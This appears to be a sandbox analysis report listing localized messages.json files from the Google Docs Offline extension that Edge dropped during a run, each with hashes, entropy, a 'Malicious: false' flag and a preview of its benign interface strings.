Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\en_GB\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	848
Entropy (8bit):	4.494568170878587
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3vRyc1NzXW6iFrSCBxesJGceKCSUuvlvOgwCBhUufz1tnaXrQ:1HA3djfR3NzXviFrJj4sJXJ+bA6RM
MD5:	3734D498FB377CF5E4E2508B8131C0FA
SHA1:	AA23E39BFE526B5E3379DE04E00EACBA89C55ADE
SHA-256:	AB5CDA04013DCE0195E80AF714FBF3A67675283768FFD062CF3CF16EDB49F5D4
SHA-512:	56D9C792954214B0DE56558983F7EB7805AC330AF00E944E734340BE41C68E5DD03EDDB17A63BC2AB99BDD9BE1F2E2DA5BE8BA7C43D938A67151082A9041C7BA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an Internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the Internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create and view your documents, spreadsheets and presentations . all without Internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn more".. },.. "popuphelptext": {.. "message": "Write, edit and collaborate wherever you are, with or without an Internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\en_US\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1425
Entropy (8bit):	4.461560329690825
Encrypted:	false
SSDEEP:	24:1HA6Krbbds5Kna/BNzXviFrpsCxKU4irpNQ0+qWK5yOJAaCB7MAa6:BKrbBs5Kna/BNzXvi3sCxKZirA0jWK5m
MD5:	578215FBB8C12CB7E6CD73FBD16EC994
SHA1:	9471D71FA6D82CE1863B74E24237AD4FD9477187
SHA-256:	102B586B197EA7D6EDFEB874B97F95B05D229EA6A92780EA8544C4FF1E6BC5B1
SHA-512:	E698B1A6A6ED6963182F7D25AC12C6DE06C45D14499DDC91E81BDB35474E7EC9071CFEBD869B7D129CB2CD127BC1442C75E408E21EB8E5E6906A607A3982B212
Malicious:	false
Preview:	{.. "createNew": {.. "description": "Text shown in the extension pop up for creating a new document",.. "message": "CREATE NEW".. },.. "explanationOfflineDisabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is disabled.",.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationOfflineEnabled": {.. "description": "Text shown in the extension popup when the user is offline and offline is enabled.",.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extDesc": {.. "description": "Extension description",.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extName": {.. "description": "Extension name",..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\es\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	961
Entropy (8bit):	4.537633413451255
Encrypted:	false
SSDEEP:	12:1HASvggeCBxNFxcw2CVcfamedatqWCCBxeFxCF/m+rWAaFQbCSUuExqIQdO06stp:1HAqn0gcfa9dc/5mCpmIWck02USfWmk
MD5:	F61916A206AC0E971CDCB63B29E580E3
SHA1:	994B8C985DC1E161655D6E553146FB84D0030619
SHA-256:	2008F4FAAB71AB8C76A5D8811AD40102C380B6B929CE0BCE9C378A7CADFC05EB
SHA-512:	D9C63B2F99015355ACA04D74A27FD6B81170750C4B4BE7293390DC81EF4CD920EE9184B05C61DC8979B6C2783528949A4AE7180DBF460A2620DBB0D3FD7A05CF
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a Configuraci.n en la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que te conectes a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n. Aun as., puedes crear archivos o editar los que est.n disponibles.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones; todo ello, sin acceso a Internet.".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe o edita contenido y colabora con otras personas desde cualquier lugar, con o sin conexi.n a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\es_419\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	959
Entropy (8bit):	4.570019855018913
Encrypted:	false
SSDEEP:	24:1HARn05cfa9dcDmQOTtSprj0zaGUSjSGZ:+n0CfMcDmQOTQprj4qpC
MD5:	535331F8FB98894877811B14994FEA9D
SHA1:	42475E6AFB6A8AE41E2FC2B9949189EF9BBE09FB
SHA-256:	90A560FF82605DB7EDA26C90331650FF9E42C0B596CEDB79B23598DEC1B4988F
SHA-512:	2CE9C69E901AB5F766E6CFC1E592E1AF5A07AA78D154CCBB7898519A12E6B42A21C5052A86783ABE3E7A05043D4BD41B28960FEDDB30169FF7F7FE7208C8CFE9
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREAR NUEVO".. },.. "explanationofflinedisabled": {.. "message": "No tienes conexi.n. Para usar Documentos de Google sin conexi.n a Internet, ve a la configuraci.n de la p.gina principal de Documentos de Google y activa la sincronizaci.n sin conexi.n la pr.xima vez que est.s conectado a Internet.".. },.. "explanationofflineenabled": {.. "message": "No tienes conexi.n, pero a.n puedes modificar los archivos disponibles o crear otros nuevos.".. },.. "extdesc": {.. "message": "Edita, crea y consulta tus documentos, hojas de c.lculo y presentaciones aunque no tengas acceso a Internet".. },.. "extname": {.. "message": "Documentos de Google sin conexi.n".. },.. "learnmore": {.. "message": "M.s informaci.n".. },.. "popuphelptext": {.. "message": "Escribe, modifica y colabora dondequiera que est.s, con conexi.n a Internet o sin ella.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\et\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.633956349931516
Encrypted:	false
SSDEEP:	24:1HA5WG6t306+9sihHvMfdJLjUk4NJPNczGr:mWGY0cOUdJODPmzs
MD5:	64204786E7A7C1ED9C241F1C59B81007
SHA1:	586528E87CD670249A44FB9C54B1796E40CDB794
SHA-256:	CC31B877238DA6C1D51D9A6155FDE565727A1956572F466C387B7E41C4923A29
SHA-512:	44FCF93F3FB10A3DB68D74F9453995995AB2D16863EC89779DB451A4D90F19743B8F51095EEC3ECEF5BD0C5C60D1BF3DFB0D64DF288DCCFBE70C129AE350B2C6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LOO UUS".. },.. "explanationofflinedisabled": {.. "message": "Teil ei ole v.rgu.hendust. Teenuse Google.i dokumendid kasutamiseks ilma Interneti-.henduseta avage j.rgmine kord, kui olete Internetiga .hendatud, teenuse Google.i dokumendid avalehel seaded ja l.litage sisse v.rgu.henduseta s.nkroonimine.".. },.. "explanationofflineenabled": {.. "message": "Teil ei ole v.rgu.hendust, kuid saate endiselt saadaolevaid faile muuta v.i uusi luua.".. },.. "extdesc": {.. "message": "Saate luua, muuta ja vaadata oma dokumente, arvustustabeleid ning esitlusi ilma Interneti-.henduseta.".. },.. "extname": {.. "message": "V.rgu.henduseta Google.i dokumendid".. },.. "learnmore": {.. "message": "Lisateave".. },.. "popuphelptext": {.. "message": "Kirjutage, muutke ja tehke koost..d .ksk.ik kus olenemata sellest, kas teil on Interneti-.hendus.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\eu\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	4.4975520913636595
Encrypted:	false
SSDEEP:	24:YnmjggqTWngosqYQqE1kjO39m7OddC0vjWQMmWgqwgQ8KLcxOb:Ynmsgqyngosq9qxTOs0vjWQMbgqchb
MD5:	29A1DA4ACB4C9D04F080BB101E204E93
SHA1:	2D0E4587DDD4BAC1C90E79A88AF3BD2C140B53B1
SHA-256:	A41670D52423BA69C7A65E7E153E7B9994E8DD0370C584BDA0714BD61C49C578
SHA-512:	B7B7A5A0AA8F6724B0FA15D65F25286D9C66873F03080CBABA037BDEEA6AADC678AC4F083BC52C2DB01BEB1B41A755ED67BBDDB9C0FE4E35A004537A3F7FC458
Malicious:	false
Preview:	{"createnew":{"message":"SORTU"},"explanationofflinedisabled":{"message":"Ez zaude konektatuta Internetera. Google Dokumentuak konexiorik gabe erabiltzeko, joan Google Dokumentuak zerbitzuaren orri nagusiko ezarpenetara eta aktibatu konexiorik gabeko sinkronizazioa Internetera konektatzen zaren hurrengoan."},"explanationofflineenabled":{"message":"Ez zaude konektatuta Internetera, baina erabilgarri dauden fitxategiak edita ditzakezu, baita beste batzuk sortu ere."},"extdesc":{"message":"Editatu, sortu eta ikusi dokumentuak, kalkulu-orriak eta aurkezpenak Interneteko konexiorik gabe."},"extname":{"message":"Google Dokumentuak konexiorik gabe"},"learnmore":{"message":"Lortu informazio gehiago"},"popuphelptext":{"message":"Edonon zaudela ere, ez duzu zertan konektatuta egon idatzi, editatu eta lankidetzan jardun ahal izateko."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\fa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	4.673517697192589
Encrypted:	false
SSDEEP:	24:1HAX9yM7oiI99Rwx4xyQakJbfAEJhmq/RlBu92P7FbNcgYVJ0:JM7ovex4xyQaKjAEyq/p7taX0
MD5:	097F3BA8DE41A0AAF436C783DCFE7EF3
SHA1:	986B8CABD794E08C7AD41F0F35C93E4824AC84DF
SHA-256:	7C4C09D19AC4DA30CC0F7F521825F44C4DFBC19482A127FBFB2B74B3468F48F1
SHA-512:	8114EA7422E3B20AE3F08A3A64A6FFE1517A7579A3243919B8F789EB52C68D6F5A591F7B4D16CEE4BD337FF4DAF4057D81695732E5F7D9E761D04F859359FADB
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ... ....".. },.. "explanationofflinedisabled": {.. "message": "...... ...... .... ....... .. ....... Google .... ..... ........ .... ... .. .. ....... ... ..... .. ....... .. .... .... ....... Google ..... . .......... ...... .. .... .....".. },.. "explanationofflineenabled": {.. "message": "...... ..... ... ...... ......... ......... .. .. .. ..... ..... ...... .... .. ........ ..... ..... .....".. },.. "extdesc": {.. "message": "...... ............ . ........ .. ....... ..... . ...... .... . ... ... ..... .... ...... .. ........".. },.. "extname": {.. "message": "....... Google .

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\fi\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	911
Entropy (8bit):	4.6294343834070935
Encrypted:	false
SSDEEP:	12:1HASvguCBxNMME2BESA7gPQk36xCBxeMMcXYBt+CSU1pfazCBhUunV1tLaX5GI2N:1HAVioESAsPf36O3Xst/p3J8JeEY
MD5:	B38CBD6C2C5BFAA6EE252D573A0B12A1
SHA1:	2E490D5A4942D2455C3E751F96BD9960F93C4B60
SHA-256:	2D752A5DBE80E34EA9A18C958B4C754F3BC10D63279484E4DF5880B8FD1894D2
SHA-512:	6E65207F4D8212736059CC802C6A7104E71A9CC0935E07BD13D17EC46EA26D10BC87AD923CD84D78781E4F93231A11CB9ED8D3558877B6B0D52C07CB005F1C0C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "LUO UUSI".. },.. "explanationofflinedisabled": {.. "message": "Olet offline-tilassa. Jos haluat k.ytt.. Google Docsia ilman internetyhteytt., siirry Google Docsin etusivulle ja ota asetuksissa k.ytt..n offline-synkronointi, kun seuraavan kerran olet yhteydess. internetiin.".. },.. "explanationofflineenabled": {.. "message": "Olet offline-tilassa. Voit kuitenkin muokata k.ytett.viss. olevia tiedostoja tai luoda uusia.".. },.. "extdesc": {.. "message": "Muokkaa, luo ja katso dokumentteja, laskentataulukoita ja esityksi. ilman internetyhteytt..".. },.. "extname": {.. "message": "Google Docsin offline-tila".. },.. "learnmore": {.. "message": "Lis.tietoja".. },.. "popuphelptext": {.. "message": "Kirjoita, muokkaa ja tee yhteisty.t. paikasta riippumatta, my.s ilman internetyhteytt..".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\fil\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	939
Entropy (8bit):	4.451724169062555
Encrypted:	false
SSDEEP:	24:1HAXbH2eZXn6sjLITdRSJpGL/gWFJ3sqixO:ubHfZqsHIT/FLL3qO
MD5:	FCEA43D62605860FFF41BE26BAD80169
SHA1:	F25C2CE893D65666CC46EA267E3D1AA080A25F5B
SHA-256:	F51EEB7AAF5F2103C1043D520E5A4DE0FA75E4DC375E23A2C2C4AFD4D9293A72
SHA-512:	F66F113A26E5BCF54B9AAFA69DAE3C02C9C59BD5B9A05F829C92AF208C06DC8CCC7A1875CBB7B7CE425899E4BA27BFE8CE2CDAF43A00A1B9F95149E855989EE0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "GUMAWA NG BAGO".. },.. "explanationofflinedisabled": {.. "message": "Naka-offline ka. Upang magamit ang Google Docs nang walang koneksyon sa internet, pumunta sa mga setting sa homepage ng Google Docs at i-on ang offline na pag-sync sa susunod na nakakonekta ka sa internet.".. },.. "explanationofflineenabled": {.. "message": "Naka-offline ka, ngunit maaari mo pa ring i-edit ang mga available na file o gumawa ng mga bago.".. },.. "extdesc": {.. "message": "I-edit, gawin, at tingnan ang iyong mga dokumento, spreadsheet, at presentation . lahat ng ito nang walang access sa internet.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Matuto Pa".. },.. "popuphelptext": {.. "message": "Magsulat, mag-edit at makipag-collaborate nasaan ka man, nang mayroon o walang koneksyon sa internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir7648_167788646\CRX_INSTALL\_locales\fr\messages.json

Download File

